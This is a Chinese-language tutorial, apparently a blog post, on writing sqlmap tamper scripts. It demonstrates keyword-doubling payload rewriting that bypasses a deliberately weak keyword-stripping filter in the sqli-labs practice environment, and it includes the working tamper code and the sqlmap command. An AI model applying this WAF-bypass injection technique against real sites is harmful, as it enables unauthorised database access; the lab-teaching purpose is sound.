sqlmap之tamper脚本编写
目录
前言
tamper脚本实战
前言
sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。
为了说明tamper的结构,让我们从一个最简单的例子开始
# sqlmap/tamper/escapequotes.pyfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWESTdef dependencies():passdef tamper(payload, **kwargs):return payload.replace("'", "\\'").replace('"', '\\"')
不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。
- priority定义脚本的优先级,用于有多个tamper脚本的情况。如果你加载多个tamper,谁的优先级高,谁被优先使用。(优先级共有七个,分别为;LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST)
- dependencies函数声明该脚本适用/不适用的范围,可以为空。
- tamper是主要的函数,接受的参数为payload和**kwargs。返回值为替换后的payload。比如这个例子中就把引号替换为了\\'。payload参数是sqlmap进行自动注入时的sql语句,要替换的就是payload,来完成想要的绕过。kwargs是修改http头里的内容函数,如下图
tamper脚本实战
1. 环境设计
这里对sqli-labs第一关环境进行修改,增加过滤函数如下
function sqlwaf( $str ) {$str = str_ireplace( "and", "", $str );$str = str_ireplace( "or", "", $str );$str = str_ireplace( "union", "", $str );$str = str_ireplace( "select", "", $str );$str = str_ireplace( "sleep", "", $str );$str = str_ireplace( "group", "", $str );$str = str_ireplace( "extractvalue", "", $str );$str = str_ireplace( "updatexml", "", $str );$str = str_ireplace( "PROCEDURE", "", $str );return $str;
}
对传入的函数先经过这个函数的过滤
经过这个过滤后,我们直接使用sqlmap进行注入是注入不成功的
所以我们需要对sqlmap的payload进行修改,根据过滤函数规则,我们可以进行双写绕过单次过滤
2. tamper编写
因为关键词被过滤为空,导致payload不能正常执行,那么就可以编写这样tamper
waf.py内容:
# sqlmap/tamper/escapequotes.py
from lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef dependencies():passdef tamper(payload, **kwargs):if payload:result = payload.replace("OR", "oorr").replace("AND", "aandnd").replace("UNION", "ununionion").replace("SELECT", "seleselectct").replace("PROCEDURE", "PROCEPROCEDUREURE").replace("SLEEP", "slesleepep").replace("GROUP", "grogroupup").replace("EXTRACTVALUE", "extractvextractvaluealue").replace("UPDATEXML", "updatupdatexmlexml")return result
将waf.py放到sqlmap\tamper目录下,然后执行
sqlmap.py -u url -v3 --tamper=waf.py --batch
sqlmap关键词都被替换,如下and
成功注入出来了
sqlmap之tamper脚本编写相关推荐
- 渗透测试-sqlmap绕过WAF脚本编写
sqlmap绕过WAF脚本编写 文章目录 sqlmap绕过WAF脚本编写 前言 一.什么是sqlmap和tamper脚本 二.利用sqlmap脚本进行扫描获取数据库信息 1.编写sqlmap绕过WAF ...
- sqlmap之tamper脚本
sqlmap之tamper脚本 进行注入时,往往会遇到服务端主机装有 WAF(Web Application Firewall)对 Payload 进行过滤的情况,这使得注入攻击无法成功实施.但 WA ...
- sqlmap tamper脚本编写
0x00 sqlmap tamper简介 sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf. 0x01 ...
- sqlmap之tamper的使用介绍
使用sqlmap中tamper脚本绕过waf_cherrie007的博客-CSDN博客 sqlmap中tamper的简介 - 御用闲人 - 博客园 就是它
- mysql常用的tamper脚本_总结一些sqlmap的常用tamper脚本释义
要想成为一名合格的"脚本小子",我们首先需要一个强大的工具,然后利用好他的脚本.但是脚本也不能乱用,首先就是要了解一下SqlMap的常用的脚本,然后分清楚场合进行利用.(好的,看开 ...
- SQLMAP插件tamper编写与使用
今天继续给大家介绍渗透测试相关知识,本文主要内容是SQLMAP插件tamper编写与使用. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次 ...
- sqlmap中的tamper 脚本分析
space2randomblank 作用:空格替换为备选字符集中的随机字符 例子: ('select id from users') ( select %0Did%0DFRM%0A users') 详 ...
- sqlmap tamper mysql_sqlmap之常用tamper脚本
常用tamper脚本 apostrophemask.py 适用数据库:ALL 作用:将引号替换为utf-8,用于过滤单引号 使用脚本前:tamper("1 AND '1'='1") ...
- Bypass 360主机卫士SQL注入防御(附tamper脚本)
0x01 前言 在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势. 0x02 环境搭建 Windows Server 200 ...
最新文章
- (转载)(c#)数据结构与算法分析 --数组、向量和表
- 什么样的女人才算是好老婆?
- 在Wireshark中查找数据包
- UDP千兆以太网FPGA_verilog实现(三、代码前期准备-时序要求)
- mysql异机备份_RMAN异机恢复备份集权限问题
- CATIA怎么约束快捷键_3ds Max 常用快捷键大全,你学会了吗
- Vue学习笔记之04-computed计算属性
- 利用QGIS免费批量获取Google、Bing等高分辨率卫星影像
- excel2013加载matlab宏,Matlab可以通过ActiveX在Excel文件中编写宏吗?
- 20210520:人脸识别-口罩mask快速抠取
- QAC/QAC++静态软件代码测试分析-试用工具
- Computer Networking——transport layer QA
- 算法学习笔记:排序算法
- 解决Android打包Entry name ‘res/animator/linear_indeterminate_line1_head_interpolator.xml‘ collided
- node-java_node-jvm
- RBP系统管理之服务器参数管理
- pikachu之sql注入
- 浏览器趋势2015年2月:美国IE8反弹
- Tensorflow一些常用基本概念与函数(2)
- 基于Android的备忘录软件,基于Android的手机备忘录软件设计
热门文章
- 计算机编程专业的民办大学排名,法国计算机编程专业大学排名(2020年USNEWS)_快飞留学...
- 使用按键精灵实现界面点击自动化
- VBA小程序--针对所有已经打开的Excel文件_格式调整_针对所有工作表_冻结首行_无视所在位置
- LINUX:Ubuntu重装虚拟机后无法拖拽文件的解决方法
- c++ 求解一元二次方程 全面考虑实根和虚根的情况
- 论文阅读笔记《PoseCNN: A Convolutional Neural Network for 6D Object Pose Estimation in Cluttered Scenes》
- 矩阵笔记1:矩阵分析(第三版)-史荣昌-第一章:线性空间和线性变换
- vue-cli和Element-UI搭配web前端
- CTF入门指南(0基础)
- windows系统完全换ubuntu